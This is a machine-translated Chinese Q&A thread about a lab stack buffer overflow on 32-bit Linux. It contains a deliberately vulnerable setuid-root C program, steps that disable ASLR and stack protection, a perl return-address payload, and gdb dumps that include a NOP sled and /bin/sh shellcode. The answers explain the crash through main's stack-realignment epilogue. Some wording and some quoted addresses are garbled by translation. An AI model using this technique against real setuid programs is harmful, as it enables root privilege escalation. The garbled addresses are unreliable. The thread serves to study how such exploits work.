C 使用缓冲区溢出执行存储在环境变量中的外壳代码

C 使用缓冲区溢出执行存储在环境变量中的外壳代码,c,linux,segmentation-fault,buffer-overflow,exploit,C,Linux,Segmentation Fault,Buffer Overflow,Exploit,我使用下面的代码试图通过溢出searchstring变量来执行存储在环境变量中的外壳代码,以便main的返回地址包含一个环境变量的地址。但是,在printf命令之前,我遇到了一个分段错误 #include <stdio.h> #include <string.h> void main(int argc, char *argv[]){ char searchstring[100]; if(argc > 1) strcpy(sear

我使用下面的代码试图通过溢出searchstring变量来执行存储在环境变量中的外壳代码,以便main的返回地址包含一个环境变量的地址。但是,在printf命令之前,我遇到了一个分段错误

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]){

    char searchstring[100];

    if(argc > 1)
        strcpy(searchstring, argv[1]);
    else // otherwise
        searchstring[0] = 0;

    printf("Here");

}
以禁用堆栈保护器并使堆栈可执行。我还通过修改/proc/sys/kernel/randomize_va_空间以包含0来禁用ASLR。我还将所有者和组更改为root用户:

sudo chown root:root overflow.o
sudo chmod u+s overflow.o

环境变量包含一个NoP SLED在SelelCd码之前,并且我确定地址0xFFFFD910位于NoP SLED的中间。因此,我使用

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')
但我们看到了一个分割错误

我使用gdb在main上设置了一个断点,然后逐步完成了指令。seg故障发生在到达printf命令之前,在seg故障之后立即检查堆栈指针和指令指针,我发现

(gdb) x/32x $esp
0xffffd910:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd920:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd930:     0x90909090      0x90909090      0xdb31c031      0xb099c931
0xffffd940:     0x6a80cda4      0x6851580b      0x68732f2f      0x69622f68
0xffffd950:     0x51e3896e      0x8953e289      0x0080cde1      0x4d524554
0xffffd960:     0x6574783d      0x53006d72      0x4c4c4548      0x69622f3d
0xffffd970:     0x61622f6e      0x58006873      0x4d5f4d44      0x47414e41
0xffffd980:     0x6d3d4445      0x6f687465      0x6c633d64      0x69737361

(gdb) x/x $eip  
0x90909090:     Cannot access memory at address 0x90909090
检查main的堆栈帧(之前在地址0xffffd460处发现)确认地址0xffffd910确实已复制到searchstring中:

(gdb) x/32x 0xffffd460
0xffffd460:     0xffffd49f      0xffffd49e      0xffffd590      0xffffd910
0xffffd470:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd480:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd490:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4a0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4b0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4c0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4d0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
我不明白为什么堆栈指针和指令指针跳到这些位置,即使main还没有完成执行?另外,为什么指令指针跳转到0x9090而不是0xffffd910?这是导致分段错误的原因,还是我不知道的堆栈保护

我意识到这是一个人为的例子,但我只是想知道发生了什么


谢谢

非常奇怪,以至于esp指向您的外壳代码。print“\x10\xd9\xff\xff”是环境变量的地址吗


它会导致segfault,因为在执行RET时,它会弹出%eip,但您的%esp指向0x9090,但您当然无法访问此地址。

在查看汇编代码后,我已经知道发生了什么。代码的最后3行是

0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>:    leave  
0x08048489 <+63>:    lea    esp,[ecx-0x4]
0x0804848c <+66>:    ret
0x08048485:mov ecx,DWORD PTR[ebp-0x4]
0x08048488:离开
0x08048489:lea esp[ecx-0x4]
0x0804848c:ret
searchstring变量溢出会导致ebp-0x4处的数据被环境变量(0xffffd910)中NOP底座中间的地址覆盖。因此,上面的第1行将0xFFD910存储在ecx中

这意味着在上面的第3行中,ecx-0x4=0xffffd910-0x4=0xffff90c,该地址存储在esp中。存储在该地址的数据是0x909090(因为我们仍在NOP底座的中间)。最后,在上面的最后一行中,这个数据作为main()的返回地址从堆栈中弹出,这就是为什么我们最终得到的是eip=0x909090,弹出操作意味着esp被移回0xffff90c+0x4=0xffffd910


我的错误一直是假设main()函数在返回地址方面的行为与其他函数类似。C没有“返回地址”的概念-这些是实现细节-在我的Arch Linux机器上使用gcc multilib 4.9.2-1,这就是它的实现方式。

Yes“\x10\xd9\xff\xff”是环境变量的地址。是什么导致esp指向这一点?在我看来,这毫无意义。你能试试perl-e“打印”一个“x200”吗?您应该有segfault并看到$eip=0x6161no,我有一个seg故障,但是$esp=0x413d(我不知道3d来自哪里)$由于显然$esp无法访问,所以eip保留为RET指令的地址。这太奇怪了。。您可以尝试用缓冲区的地址覆盖ESP,并在缓冲区中放置环境变量的地址:因此注入看起来像:|环境变量的地址,环境变量的地址..缓冲区的地址|是的,我可以解决它,但我还是很想知道发生了什么,我遇到了同样的问题。该“lea”指令使eip寄存器指向0x9090,而不是nop底座地址。你找到解决办法了吗?
0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>:    leave  
0x08048489 <+63>:    lea    esp,[ecx-0x4]
0x0804848c <+66>:    ret